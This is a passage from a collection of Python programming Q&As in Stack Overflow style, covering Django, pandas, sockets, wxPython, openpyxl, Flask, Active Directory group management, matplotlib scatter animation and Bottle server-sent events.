metas/blob/e5a6c8e7a54f833795c46d5ece438b219460bf47/src/metas/models.py#L167-L177>
class MetasSPE(models.Model):
...
def save(self, **kwargs):
"""
Se sobre-escribe el método `save()` para guardar la descripción con html.
:param kwargs: Parámetros en clave
:return: nada
"""
from markdown import markdown
self.descripcion_html = markdown(
self.descripcion, outpu_format='html5', lazy_ol=True
)
def __str__(self):
...
You forgot to call super() on your overidden save() method, which means your
model will never save:
class MetasSPE(models.Model):
...
def save(self, **kwargs):
"""
Se sobre-escribe el método `save()` para guardar la descripción con html.
:param kwargs: Parámetros en clave
:return: nada
"""
from markdown import markdown
self.descripcion_html = markdown(
self.descripcion, outpu_format='html5', lazy_ol=True
)
super(MetasSPE, self).save(**kwargs)
|
Iterate over groups of rows in Pandas
Question: I am new to pandas and python in general - grateful for any direction you can
provide!
I have a csv file with 4 columns. I am trying to group together rows where the
first three columns are the same on all rows (Column A Row 1 = Column A Row 2,
Column B Row 1 = Column B Row 2, and so on)
My data look like this:
phone_number state date description
1 9991112222 NJ 2015-05-14 Condo
2 9991112222 NJ 2015-05-14 Condo sales call
3 9991112222 NJ 2015-05-14 Apartment rental
4 6668885555 CA 2015-05-06 Apartment
5 6668885555 CA 2015-05-06 Apartment rental
6 4443337777 NJ 2015-05-14 condo
So in this data, rows 1, 2 and 3 would be in one group, and rows 4 and 5 would
be in another group. Row 6 would not be in the group with 1, 2, and 3 because
it has a different phone_number.
Then, for each row, I want to compare the string in the description column
against _each other description_ in that group using Levenshtein distance, and
keep the rows where the descriptions are sufficiently similar.
"Condo" from row 1 would be compared to "Condo sales call" from row 2 and to
"Apartment rental" in row 3. It would not be compared to "condo" from row 6.
In the end, the goal is to weed out rows where the description is not
sufficiently similar to another description in the same group. Phrased
differently, to print out all rows where description is at least somewhat
similar to another (any other) description in that group. Ideal output:
phone_number state date description
1 9991112222 NJ 2015-05-14 Condo
2 9991112222 NJ 2015-05-14 Condo sales call
4 6668885555 CA 2015-05-06 Apartment
5 6668885555 CA 2015-05-06 Apartment rental
Row 6 does not print because it was never in a group. Row 3 doesn't print
because "Apartment rental" is insufficiently similar to "Condo" or "Condo
sales call"
This is the code I have so far. I can't tell if this is the best way to do it.
And if I have done it right so far, I can't figure out how to print the full
row of interest:
import Levenshtein
import itertools
import pandas as pd
test_data = pd.DataFrame.from_csv('phone_state_etc_test.csv', index_col=None)
for pn in test_data['phone_number']:
for dt in test_data['date']:
for st in test_data['state']:
for a, b in itertools.combinations(test_data[
(test_data['phone_number'] == pn) &
(test_data['state'] == st) &
(test_data['date'] == dt)
]
['description'], 2):
if Levenshtein.ratio(a,b) > 0.35:
print pn, "|", dt, "|", st, "|" #description
This prints a bunch of duplicates of these lines:
9991112222 | NJ | 2015-05-14 |
6668885555 | CA | 2015-05-06 |
But if I add description to the end of the print line, I get a
SyntaxError: invalid syntax
Any thoughts on how I can print the full row? Whether in pandas dataframe, or
some other format, doesn't matter - I just need to output to csv.
Answer: Why don't you use the `pandas.groupby` option to find the unique groups (based
on phone-number, state and date). Doing this lets you treat all the
`Description` values separately and do whatever you want to do with them.
For example, I'll groupby with the above said columns and get the unique
values for the `Description` columns within this group -
In [49]: df.groupby(['phone_number','state','date']).apply(lambda v: v['description'].unique())
Out[49]:
phone_number state date
4443337777 NJ 2015-05-14 [condo]
6668885555 CA 2015-05-06 [Apartment, Apartment-rental]
9991112222 NJ 2015-05-14 [Condo, Condo-sales-call, Apartment-rental]
dtype: object
You can use any function within the `apply`. More examples here -
<http://pandas.pydata.org/pandas-docs/stable/groupby.html>
|
python3 - broken pipe error when using socket.send()
Question: I am programming a client-server instant message program. I created a similar
program in Python 2, and am trying to program it in Python 3. The problem is
when the server takes the message and tries to send it to the other client, it
gives me "[Errno 32] Broken Pipe" and exits.
I have done some research, and found that this occurs when the client
disconnects, so I did some more testing but could not find when the client
disconnects. (I am using Ubuntu 14.04 and Python 3.4)
Here is the server code:
import socket, select, sys
def broadcast(sock, messaged):
for socket in connection_list:
if socket != s and socket != sock:
# Here is where it gives me the broken pipe error
try:
s.send(messaged.encode("utf-8"))
except BrokenPipeError as e:
print(e)
sys.exit()
connection_list = []
host = ''
port = 5558
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host,port))
s.listen(5)
connection_list.append(s)
read_sockets,write_sockets,error_sockets = select.select(connection_list,[],[])
while True:
for sock in read_sockets:
if sock == s:
conn, addr = s.accept()
connection_list.append(conn)
client = "Client (%s,%s) connected" % addr
print(client)
broadcast(sock,client)
else:
try:
data = sock.recv(2048)
decodeddata = data.decode("utf-8")
if data:
broadcast(sock, decodeddata)
except:
offline = "Client " + addr + "is offline"
broadcast(sock, offline)
print(offline)
connection_list.remove(sock)
sock.close()
continue
And the client code:
import socket, select, string, sys, time
def prompt(data) :
print("<You> " + data)
def Person(data) :
print("<Receiver> " + data)
if __name__ == "__main__":
host = "localhost"
port = 5558
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
try:
s.connect((host,port))
except:
print('Unable to connect')
sys.exit()
print('Connected.')
socket_list = [s]
read_sockets,write_sockets,error_sockets = select.select(socket_list,[],[])
while 1:
for sock in read_sockets:
if sock == s:
try:
time.sleep(1)
data = sock.recv(1024)
Person(data.decode("utf-8"))
except:
msg = input("Send a message: ")
try:
s.send(str.encode(msg))
except:
print("Server is offline")
sys.exit()
else:
print("Server is offline")
sys.exit()
Answer: There are two problems that you have to fix to make this work.
First, on both the client side and the server side, you have to put the
`select` _inside_ the loop, not outside. Otherwise, if there was something to
read before you got to the loop, you'll recv over and over, and if there
wasn't, you'll never recv. Once you fix this, you can get rid of the
`time.sleep(1)`. (You should _never_ need a `sleep` to solve a problem like
this; at best it masks the problem, and usually introduces new ones.)
Meanwhile, on the server side, inside `broadcast`, you're doing `s.send`. But
`s` is your listener socket, not a connected client socket. You want
`socket.send` here, because `socket` is each socket in `connection_list`.
* * *
There are a number of unrelated problems in your code as well. For example:
* I'm not sure what the `except:` in the client is _supposed_ to be catching. What it mainly seems to catch is that, about 50% of the time, hitting ^C to end the program triggers the send prompt. But of course, like any bare `except:`, it also masks any other problems with your code.
* There's no way to send any data back and forth other than the "connected" message except for that `except:` clause.
* `addr` is a tuple of host and port, so when someone goes offline, the server raises a `TypeError` from trying to format the offline message.
* `addr` is always the last client who connected, not the one who's disconnecting.
* You're not setting your sockets to nonblocking mode.
* You're not checking for EOF on the `recv`. This means that you don't actually detect that a client has gone offline until you get an error. Which normally happens only after you try to `send` them a message (e.g., because someone else has connected or disconnected).
|
Is MATLAB faster than Python (little simple experiment)
Question: I have read this ( [Is MATLAB faster than
Python?](http://stackoverflow.com/questions/2133031/is-matlab-faster-than-
python) ) and I find it has lots of ifs.
I have tried this little experiment on an old computer that still runs on
Windows XP.
In MATLAB R2010b I have copied and pasted the following code in the Command
Window:
tic
x = 0.23;
for i = 1:100000000
x = 4 * x * (1 - x);
end
toc
x
The result was:
Elapsed time is 0.603583 seconds.
x =
0.947347510922557
Then I saved a **`py`** file with the following script:
import time
t = time.time()
x = 0.23
for i in range(100000000): x = 4 * x * (1 - x)
elapsed = time.time() - t
print(elapsed)
print(x)
I pressed `F5` and the result was
49.78125
0.9473475109225565
In MATLAB it took 0.60 seconds; in Python it took 49.78 seconds (an
eternity!!).
**So the question is** : is there a simple way to make Python as fast as
MATLAB?
**Specifically** : how do I change my `py` script so that it runs as fast as
MATLAB?
* * *
**UPDATE**
I have tried the same experiment in **`PyPy`** (copying and pasting the same
code as above): it did it in 1.0470001697540283 seconds on the same machine as
before.
I repeated the experiments with 1e9 loops.
MATLAB results:
Elapsed time is 5.599789 seconds.
1.643573442831396e-004
`PyPy` results:
8.609999895095825
0.00016435734428313955
I have also tried with a normal `while` loop, with similar results:
t = time.time()
x = 0.23
i = 0
while (i < 1000000000):
x = 4 * x * (1 - x)
i += 1
elapsed = time.time() - t
elapsed
x
**Results** :
8.218999862670898
0.00016435734428313955
I am going to try **`NumPy`** in a little while.
Answer: First, using `time` is not a good way to test code like this. But let's ignore
that.
* * *
When you have code that does a lot of looping and repeating very similar work
each time through the loop, [PyPy](http://pypy.org)'s JIT will do a great job.
When that code does the _exact same_ thing every time, to constant values that
can be lifted out of the loop, it'll do even better. CPython, on the other
hand, has to execute multiple bytecodes for each loop iteration, so it will be
slow. From a quick test on my machine, CPython 3.4.1 takes 24.2 seconds, but
PyPy 2.4.0/3.2.5 takes 0.0059 seconds.
IronPython and Jython are also JIT-compiled (although using the more generic
JVM and .NET JITs), so they tend to be faster than CPython for this kind of
work as well.
* * *
You can also generally speed up work like this in CPython itself by using
[NumPy](http://numpy.org) arrays and vector operations instead of Python lists
and loops. For example, the following code takes 0.011 seconds:
i = np.arange(10000000)
i[:] = 4 * x * (1-x)
Of course in that case, we're explicitly just computing the value once and
copying it 10000000 times. But we can force it to actually compute over and
over again, and it still takes only 0.12 seconds:
i = np.zeros((10000000,))
i = 4 * (x+i) * (1-(x+i))
* * *
Other options include writing part of the code in [Cython](http://cython.org)
(which compiles to a C extension for Python), and using
[Numba](http://numba.pydata.org), which JIT-compiles code within CPython. For
toy programs like this, neither may be appropriate—the time spent auto-
generating and compiling C code may swamp the time saved by running C code
instead of Python code if you're only trying to optimize a one-time 24-second
process. But in real-life numerical programming, both are very useful. (And
both play nicely with NumPy.)
And there are always new projects on the horizon as well.
|
Linear Directed Acyclic Graph
Question: I have an OCR task, where I over-segment the image. Now I want to build a
data-structure (a variety of a directed acyclic graph) to get all possible
combinations of images.
Example:
I start with splitting it into four parts, a [3], b [left half of 4], c[right
half of 4], d [2]. Now I will combine them variously. To get, say, the
following paths.
0) a, b, c, d (The basic config)
1) a, bc, d (The correct config)
2) ab, c, d
3) a, b, cd
etc.
I am looking to implement this in Python. Is there an existing package? If
not, what is the best data structure? Is DAG the closest? Is there a variety
of DAG that works better?
Thanks,
Answer: OK, I have an answer. One can implement it like this.
import random
def combine(wt1, wt2):
return random.random() < .1, (wt1+wt2)//2
class Linetree():
def __init__(self, wts):
self.nodes = []
for i, wt in enumerate(wts):
self.nodes.append([[i+1, wt]])
self.nodes.append([])
self.processed = []
self.checked = []
def processnode(self, idx):
if idx in self.processed:
return
ichild = 0
while ichild < len(self.nodes[idx]):
chidx, chwt = self.nodes[idx][ichild]
self.processnode(chidx)
igrandchild = 0
while igrandchild < len(self.nodes[chidx]):
grchidx, grchwt = self.nodes[chidx][igrandchild]
if (idx, grchidx) in self.checked:
igrandchild += 1
continue
tocombine, newwt = combine(chwt, grchwt)
self.checked.append((idx, grchidx))
if tocombine:
self.nodes[idx].append([grchidx, newwt])
igrandchild += 1
ichild += 1
self.processed.append(idx)
def build(self):
self.processnode(0)
def get_paths(self, n=0):
if len(self.nodes[n]) == 0:
yield [n]
for ch, wt in self.nodes[n]:
for sub_path in self.get_paths(ch):
yield [n] + sub_path
def pathwt(self, path):
ret = 0
for i in range(len(path)-1):
for child, wt in self.nodes[path[i]]:
if child == path[i+1]:
ret += wt
break
else:
raise ValueError(str(path))
return ret
def __str__(self):
ret = ""
for i, children in enumerate(self.nodes):
ret += "\nNode {}: ".format(i)
for child in children:
ret += "{}, ".format(child)
return ret
def main():
wts = range(10, 80, 10)
print(list(enumerate(wts)))
lt = Linetree(wts)
print(lt.nodes)
print(lt)
lt.build()
print(lt)
paths = lt.get_paths()
for path in paths:
print(path, lt.pathwt(path))
main()
|
get current url from browser python
Question: I am running an HTTP server which serves a bitmap according to the dimensions
in the browser url i.e localhost://image_x120_y30.bmp . My server is running
in infinite loop and I want to get the url any time user requests for BITMAP .
so , I can extract image dimensions from url.
The question asked here [How to get current URL in python web
page?](http://stackoverflow.com/questions/14468862/how-to-get-current-url-in-
python-web-page) does not address my problem as I am running in infinite loop
and I want to keep on getting the current url so I can deliver the requested
BITMAP to user.
Answer: If to use Selenium for web navigation:
from selenium import webdriver
driver = webdriver.Firefox()
print (driver.current_url)
|
wxPython New, Save, and SaveAs Methods
Question: I'm writing a UI for a python app with wxPython. I've handled a few of the OnX
functions but I need help with OnNew and OnSave/SaveAs
Here is my Save and SaveAs code:
def OnSave(self, event):
self.dirname = ""
saveFileDialog = wx.FileDialog(self, "Save Operation File", self.dirname, "",
"Operation Files (*.fwr)|*.fwr|All Files (*.*)|*.*", wx.SAVE|wx.OVERWRITE_PROMPT)
if saveFileDialog.ShowModal() == wx.ID_OK:
contents = self.control.GetValue()
self.filename = saveFileDialog.GetFilename()
self.dirname = saveFileDialog.GetDirectory()
filehandle = open(os.path.join(self.dirname, self.filename), 'w')
filehandle.write(contents)
filehandle.close()
else:
sys.exit(1)
saveFileDialog.Destroy()
def OnSaveAs(self, event):
self.dirname = "";
saveAsFileDialog = wx.FileDialog(self, "Save Operation File As", self.dirname, "",
"Operation Files (*.fwr)|*.fwr|All Files (*.*)|*.*",
wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)
if saveAsFileDialog.ShowModal() == wx.ID_OK:
contents = self.control.GetValue()
self.filename = saveFileDialog.GetFilename()
self.dirname = saveFileDialog.GetDirectory()
filehandle = open(os.path.join(self.dirname, self.filename), 'w')
filehandle.write(contents)
filehandle.close()
else:
sys.exit(1)
saveFileDialog.Destroy()
# save current contents in the file
# use wxPython output streams
#output_stream = wx.FileOutputStream(saveFileDialog.GetPath())
#if not output_stream.IsOk():
# wx.LogError("Cannot save contents of Operations File '%s'" % saveFileDialog.GetPath())
# return
the commented part at the bottom is another way I found to do it, is using the
input and output streams more correct than the way it currently is? Also heres
my other question, I got OnNew Working, here is the code:
def OnNew(self, event):
homedir = os.environ['HOME']
if not os.path.exists(homedir):
if getpass.getuser():
homedir = "C:/Users/" + getpass.getuser() + "/"
else:
homedir = "C:/"
newFileDialog = wx.FileDialog(self, "New Operation File", homedir, "",
"Operation Files (*.fwr)|*.fwr|All Files|(*.*)|*.*", wx.FD_CREATE|wx.OVERWRITE_PROMPT)
Everything is great but the OnOpen Method opens an open file dialog, I want a
create file dialog (would this be the same as save? Can someone give me an
example OnOpen method, and give me some insight into my OnSave and OnSaveAs
methods? As you can see there are three aproaches, one in OnSaveAs, one in
OnSave, and one commented out at the bottom of OnSaveAs(). As well as many
more I didn't write down here. My main question though is how to get the
filedialog for new to be a save dialog where you create a file, rather than an
open dialog.
Thanks a ton.
SUMMARY:
1) How do you bring up a FileDialog that allows creation of blank files. I
assum it will be similar to save, but hwatever ID flags I pass it always gives
me an Open button
2) And as for save methods, is it better to do what I showed in the code, or
use streams like the commented out section in SaveAs?.
Answer: To get the Save dialog, you need to pass the `wx.SAVE` style flag to your
`FileDialog` object: `style=wx.SAVE`. You can read more about the save flag
[here](http://www.blog.pythonlibrary.org/2010/06/26/the-dialogs-of-wxpython-
part-1-of-2/) or [here](http://stackoverflow.com/questions/14524525/implement-
save-as-in-save-dialog-wxpython).
Here's some example code that worked for me on Xubuntu 14.04 with wxPython
2.8.12.1 and Python 2.7:
import os
import wx
wildcard = "Python source (*.py)|*.py|" \
"All files (*.*)|*.*"
########################################################################
class MyForm(wx.Frame):
#----------------------------------------------------------------------
def __init__(self):
wx.Frame.__init__(self, None, wx.ID_ANY,
"File and Folder Dialogs Tutorial")
panel = wx.Panel(self, wx.ID_ANY)
self.currentDirectory = os.getcwd()
saveFileDlgBtn = wx.Button(panel, label="Show SAVE FileDialog")
saveFileDlgBtn.Bind(wx.EVT_BUTTON, self.onSaveFile)
# put the buttons in a sizer
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(saveFileDlgBtn, 0, wx.ALL|wx.CENTER, 5)
panel.SetSizer(sizer)
#----------------------------------------------------------------------
def onSaveFile(self, event):
"""
Create and show the Save FileDialog
"""
dlg = wx.FileDialog(
self, message="Save file as ...",
defaultDir=self.currentDirectory,
defaultFile="", wildcard=wildcard, style=wx.SAVE
)
if dlg.ShowModal() == wx.ID_OK:
path = dlg.GetPath()
print "You chose the following filename: %s" % path
dlg.Destroy()
#----------------------------------------------------------------------
# Run the program
if __name__ == "__main__":
app = wx.App(False)
frame = MyForm()
frame.Show()
app.MainLoop()
I don't see anything wrong with your saving approach. In most cases, it's
better to use Python's low level operators instead of using wxPython's. I
would use Python's `with` operator though as that follows the newer idiom
better:
with open(os.path.join(self.dirname, self.filename), 'w') as filehandle:
filehandle.write(contents)
|
Using relative imports in python with mutliple parent and children folders
Question: I had a small problem with importing a script that was in a parent folder, but
I managed to resolve it using:
import sys
sys.path.append("../")
My directory is like this:
Data
|->->code
|->->script1.py
|->->->->subfolder
|->->->script2.py
When I run script2 (which imports script1) from the subfolder directory, the
script runs without problems. But if I try to run script2 from the code
directory using:
:~ ./subfolder/script2.py
I get an error :
ImportError: No module named script1
I tried using relative imports but because my code is not structured in
packages it doesn't work. Is there a way I can run script2 from both
directories (the parent and the child) and still be able to import script1
everytime?
Thank you in advance, Georgi Nikolov
**EDIT** : Ok, after I read through all the suggestions, I did a "simple" hack
which is quite ugly in my opinion but works quite well:
import sys
parent_folder = sys.path[0].split("/subfolder")[0]
sys.path.append(parent_folder)
import script1
Now I can even call script2 from the root and it will manage to import script1
Answer: To import a module that is up a level, you can use this.
import os, sys
sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
**An Explanation**
__file__ # The full path to your running file.
os.path.dirname # See below. (1)
os.path.join # See below. (2)
sys.path.append # See below. (3)
".." # Universal for "up a level".
1. `os.path.dirname(path)` -
> [Return the directory name of pathname
> path.](https://docs.python.org/2/library/os.path.html#os.path.dirname)
2. `os.path.join(path, *paths)` -
> [Join one or more path components
> intelligently.](https://docs.python.org/2/library/os.path.html#os.path.join)
3. `sys.path` -
> [A list of strings that specifies the search path for
> modules.](https://docs.python.org/2/library/sys.html#sys.path)
You can add a string with the `append` method.
|
python - fill cells with colors using openpyxl
Question: I am currently using openpyxl v2.2.2 for Python 2.7 and i wanted to set colors
to cells. I have used the following imports
import openpyxl,
from openpyxl import Workbook
from openpyxl.styles import Color, PatternFill, Font, Border
from openpyxl.styles import colors
from openpyxl.cell import Cell
and the following is the code I tried using:
wb = openpyxl.Workbook()
ws = wb.active
redFill = PatternFill(start_color='FFFF0000',
end_color='FFFF0000',
fill_type='solid')
ws['A1'].style = redFill
but I get the following error:
Traceback (most recent call last)
self.font = value.font.copy()
AttributeError: 'PatternFill' object has no attribute 'font'
Any idea on how to set cell A1 (or any other cells) with colors using
openpyxl?
Answer: Why are you trying to assign a fill to a style?
`ws['A1'].fill = redFill` should work fine.
|
Linking html, python and sql
Question: I'm trying to link html form with python and sql. My requirement is that the
user gives an input and that input should be sent to some python function
block to execute an sql statement on MS SQL Server and return the results back
to the user. Please help in linking the below code : order.html
<html>
<form action="/order" method="POST">
<input type="text" name="month">
<input type="number" name="weekno">
<input type="submit">
</form>
The stock for {{weekno}} is xyz
</html>
order.py :
from flask import Flask,render_template
import sys
app = Flask(__name__)
@app.route('/order', method=['POST'])
def orderdb() :
# using sql server connection statement here
cursor = connection.cursor ()
cursor.execute ("select month,stock from salesdb where weeknumbr=?",weekno)
return render_template('order.html',weekno = weekno)
This is a sample code i'm using here instead of pasting complete code.
Please suggest the syntax to be used so that the query should take the weekno
value from the form and execute the query based on weeknumbr condition.
Thanks!!
Answer: To get value from form, in your case, you should do this:
from Flask import request
...
weekno = int(request.form['weekno'])
I suggest you to read this [Flask
Quickstart](http://flask.pocoo.org/docs/0.10/quickstart/#the-request-object)
|
Remove AD user from Security group using Python
Question: I am trying to remove a user from a security group using Python and pywin32,
but so far have not been successful. However I am able to add a user to a
security group.
from win32com.client import GetObject
grp = GetObject("LDAP://CN=groupname,OU=groups,DC=blah,DC=local")
grp.Add("LDAP://CN=username,OU=users,DC=blah,DC=local") # successfully adds a user to the group
grp.Remove("LDAP://CN=username,OU=users,DC=blah,DC=local") # returns an error
The error is below:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<COMObject LDAP://CN=groupname,OU=groups,DC=blah,DC=local>", line 2, in Remove
pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None,
0, -2147024891), None)
I have also tried adding using GetObject to get the user and remove it that
way, however I get the same error.
usr = GetObject("LDAP://CN=user,OU=users,DC=blah,DC=local")
grp.Remove(usr)
Any help would be much appreciated as I've hit a dead-end here.
EDIT
I have also now tried using Tim Golden's active_directory module to try and
remove the group member.
import active_directory as ad
grp = ad.find_group("groupname")
usr = ad.find_user("username")
grp.remove(usr.path())
However this also doesn't work, and I encounter the below error.
Traceback (most recent call last):
File "C:\Python33\lib\site-packages\active_directory.py", line 799, in __getat
tr__
attr = getattr(self.com_object, name)
AttributeError: 'PyIADs' object has no attribute 'group'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Python33\lib\site-packages\active_directory.py", line 802, in __getat
tr__
attr = self.com_object.Get(name)
pywintypes.com_error: (-2147463155, 'OLE error 0x8000500d', (0, 'Active Director
y', 'The directory property cannot be found in the cache.\r\n', None, 0, -214746
3155), None)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\Python33\lib\site-packages\active_directory.py", line 1081, in remove
self.group.Remove(dn)
File "C:\Python33\lib\site-packages\active_directory.py", line 804, in __getat
tr__
raise AttributeError
AttributeError
EDIT
Wherby suggested that I change to Python 2.7 and give that a go. I have just
tried this:
import active_directory as ad
user = ad.find_user("username")
group = ad.find_group("groupname")
group.remove(user.path())
... but I'm still getting an error
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<COMObject LDAP://CN=groupname,OU=groups,DC=blah,DC=local>", line 2, in remove
pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None,
0, -2147024891), None)
The user and group are definitely found correctly, as I can print their LDAP
paths using `print user.path()` and `print group.path()`
Are there any other active directory libraries for Python 3.3 that anyone can
recommend?
Answer: From
Traceback (most recent call last):
File "C:\Python33\lib\site-packages\active_directory.py", line 799, in __getat
tr__
attr = getattr(self.com_object, name)
AttributeError: 'PyIADs' object has no attribute 'group'
The error indicate you are using not existed "group name", the function
find_group required anexisted group name, but you give not existed name. You
should double check "Tim Golden's active_directory module" 's manual.
For
usr = GetObject("LDAP://CN=user,OU=users,DC=blah,DC=local")
grp.Remove(usr)
I suggest you add "print user" to see if the user really get.
|
Animate scatter plot
Question: I'm building a Python tool for visualizing data structures in 3D. The code
below is the full program, it's even set up to run a default test model with
some random data; you just need numpy and matplotlib. Basically, you declare a
Node, connect it to other Nodes, and it makes pretty 3D networks. I'd like to
be able to call switchNode() and have it flip the color of a node between
black and white. With the way it works right now, every time a Node is
instantiated, the plot is added to with another data point. I'm not familiar
enough with matplotlib's animation tools to know the best way of doing this
(my attempt at following the example from [another
post](http://stackoverflow.com/questions/9401658/matplotlib-animating-a-
scatter-plot) is commented out on line 83, and hoped someone could offer me
some tips. Thanks!!
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import matplotlib.animation as anim
# user-defined variables
debug = False
axisOn = False
labelsOn = True
maxNodes = 20
edgeColor = 'b'
dottedLine = ':'
darkGrey = '#191919'
lightGrey = '#a3a3a3'
plotBackgroundColor = lightGrey
fontColor = darkGrey
gridColor = 'k'
numFrames = 200
# global variables
fig = None
hTable = []
ax = None
numNodes = 0
# initialize plot
def initPlot():
global ax, fontColor, fig
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d', axisbg=plotBackgroundColor)
if axisOn == False:
ax.set_axis_off()
else:
ax.set_axis_on()
fontColor = darkGrey
# gives n random float values between vmin and vmax
def randrange(n, vmin, vmax):
return (vmax - vmin) * np.random.rand(n) + vmin
# builds an empty node with a given value, helper method for makeNode
def makeNodeS(value):
global hTable, numNodes
n = Node(value)
hTable.append(n)
numNodes = len(hTable)
return n
# builds a node with given parameters
def makeNode(value, location, color, marker):
n = makeNodeS(value)
n.setLoc(location)
n.setStyle(color, marker)
if debug:
print("Building node {} at {} with color = {}, marker = {}, and associations = {}.".format(value, location, color, marker, n.assocs))
return n
# aggregate nodes in hTable and plot them in 3D
def plotNodes():
global hTable
if debug:
print("Plotting Graph...")
for elem in hTable:
if debug:
print(" Plotting node {}...".format(elem.value))
global fig, numFrames
scat = ax.scatter(elem.location[0], elem.location[1], elem.location[2], c=elem.color, marker=elem.marker)
for c in elem.assocs:
if (getNode(c).value != elem.value):
if elem.count in getNode(c).assocs: # if the two nodes are associated to each other, draw solid line
ax.plot([elem.location[0], getNode(c).location[0]], [elem.location[1], getNode(c).location[1]], [elem.location[2], getNode(c).location[2]], edgeColor)
if debug:
print(" Plotting double edge between {} and {}...".format(elem.value, getNode(c).value))
else:
ax.plot([elem.location[0], getNode(c).location[0]], [elem.location[1], getNode(c).location[1]], [elem.location[2], getNode(c).location[2]], edgeColor + dottedLine)
if debug:
print(" Plotting single edge from {} to {}...".format(elem.value, getNode(c).value))
#ani = anim.FuncAnimation(fig, update_plot, frames=xrange(numFrames), fargs=(['b', 'w'], scat))
# build single connection from node A to node B
def sConnect(nodeA, nodeB):
nodeA.addAssoc(nodeB)
if debug:
print(" Drawing single connection from node {} to node {}...".format(nodeA.value, nodeB.value))
# build double connection from node A to node B, and from node B to node A
def dConnect(nodeA, nodeB):
if debug:
print("\nDouble node connection steps:")
sConnect(nodeA, nodeB)
sConnect(nodeB, nodeA)
# update scatter with new color data
def update_plot(i, data, scat):
scat.set_array(data[i])
return scat
# returns the node with given count
def getNode(count):
global hTable
n = hTable[count-1]
return n
# set up axis info
def defineAxis():
ax.set_xlabel('X Label')
ax.xaxis.label.set_color(lightGrey)
ax.tick_params(axis='x', colors=lightGrey)
ax.set_ylabel('Y Label')
ax.yaxis.label.set_color(lightGrey)
ax.tick_params(axis='y', colors=lightGrey)
ax.set_zlabel('Z Label')
ax.zaxis.label.set_color(lightGrey)
ax.tick_params(axis='z', colors=lightGrey)
# randomly populate nodes and connect them
def test():
for i in range (0, maxNodes):
rand = np.random.rand(2)
if (0 <= rand[0] <= 0.25):
q = makeNode(i, np.random.rand(3), 'r', '^')
elif (0.25 < rand[0] <= 0.5):
q = makeNode(i, np.random.rand(3), 'b', 'o')
elif (0.5 < rand[0] <= 0.75):
q = makeNode(i, np.random.rand(3), 'g', 'v')
elif (0.75 < rand[0]):
q = makeNode(i, np.random.rand(3), 'w', 'o')
if (0 < i < maxNodes-1):
if (rand[1] <= 0.2):
dConnect(q, getNode(q.count-1))
elif (rand[1] < 0.5):
sConnect(q, getNode(q.count-1))
# randomly populate binary nodes and connect them
def test2():
for i in range (0, maxNodes):
rand = np.random.rand(2)
if (0 <= rand[0] <= 0.80):
q = makeNode(i, np.random.rand(3), 'k', 'o')
else:
q = makeNode(i, np.random.rand(3), 'w', 'o')
if (i > 0):
if (rand[1] <= 0.2):
dConnect(q, getNode(q.count-1))
elif (rand[1] > 0.2):
sConnect(q, getNode(q.count-1))
# switches a binary node between black and white
def switchNode(count):
q = getNode(count)
if (q.color == 'b'):
q.color = 'w'
else:
q.color = 'b'
# main program
def main():
## MAIN PROGRAM
initPlot()
test2()
plotNodes()
defineAxis()
plt.show()
# class structure for Node class
class Node(str):
value = None
location = None
assocs = None
count = 0
color = None
marker = None
# initiate node
def __init__(self, val):
self.value = val
global numNodes
numNodes += 1
self.count = numNodes
self.assocs = []
self.color = 'b'
self.marker = '^'
# set node location and setup 3D text label
def setLoc(self, coords):
self.location = coords
global labelsOn
if labelsOn:
ax.text(self.location[0], self.location[1], self.location[2], self.value, color=fontColor)
# define node style
def setStyle(self, color, marker):
self.color = color
self.marker = marker
# define new association
def addAssoc(self, newAssociation):
self.assocs.append(newAssociation.count)
if debug:
print(" Informing node association: Node {} -> Node {}".format(self.value, newAssociation.value))
main()
Answer: Scatter returns a
[collection](http://matplotlib.org/1.3.0/api/collections_api.html) and you can
change the colors of the points in a collection with set_facecolor. Here's an
example you can adapt for your code:
plt.figure()
n = 3
# Plot 3 white points.
c = [(1,1,1), (1,1,1), (1,1,1)]
p = plt.scatter(np.random.rand(n), np.random.rand(n), c = c, s = 100)
# Change the color of the second point to black.
c[1] = (0,0,0)
p.set_facecolor(c)
plt.show()
|
Python Bottle SSE
Question: I'm trying to get Server Sent Events to work from Python, so I found a little
demo code and to my surprise, it only partly works and I can't figure out why.
I got the code from [here](https://gist.github.com/werediver/4358735) and put
in just a couple little changes so I could see what was working (I included a
print statement, an import statement which they clearly forgot, and cleaned up
their HTML to something I could read a little easier). It now looks like this:
# Bottle requires gevent.monkey.patch_all() even if you don't like it.
from gevent import monkey; monkey.patch_all()
from gevent import sleep
from bottle import get, post, request, response
from bottle import GeventServer, run
import time
sse_test_page = """
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="http://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.min.js "></script>
<script>
var es = new EventSource("/stream");
es.onmessage = function(e) {
document.getElementById("log").innerHTML = e.data;
}
</script>
</head>
<body>
<h1>Server Sent Events Demo</h1>
<p id="log">Response Area</p>
</body>
</html>
"""
@get('/')
def index():
return sse_test_page
@get('/stream')
def stream():
# "Using server-sent events"
# https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events
# "Stream updates with server-sent events"
# http://www.html5rocks.com/en/tutorials/eventsource/basics/
response.content_type = 'text/event-stream'
response.cache_control = 'no-cache'
# Set client-side auto-reconnect timeout, ms.
yield 'retry: 100\n\n'
n = 1
# Keep connection alive no more then... (s)
end = time.time() + 60
while time.time() < end:
yield 'data: %i\n\n' % n
print n
n += 1
sleep(1)
if __name__ == '__main__':
run(server=GeventServer, port = 21000)
So here's what ends up happening: I can see the original header and paragraph
on the website, but response area never changes. On the python side, it prints
`n` once per second, but I never see that change on the web page. I get the
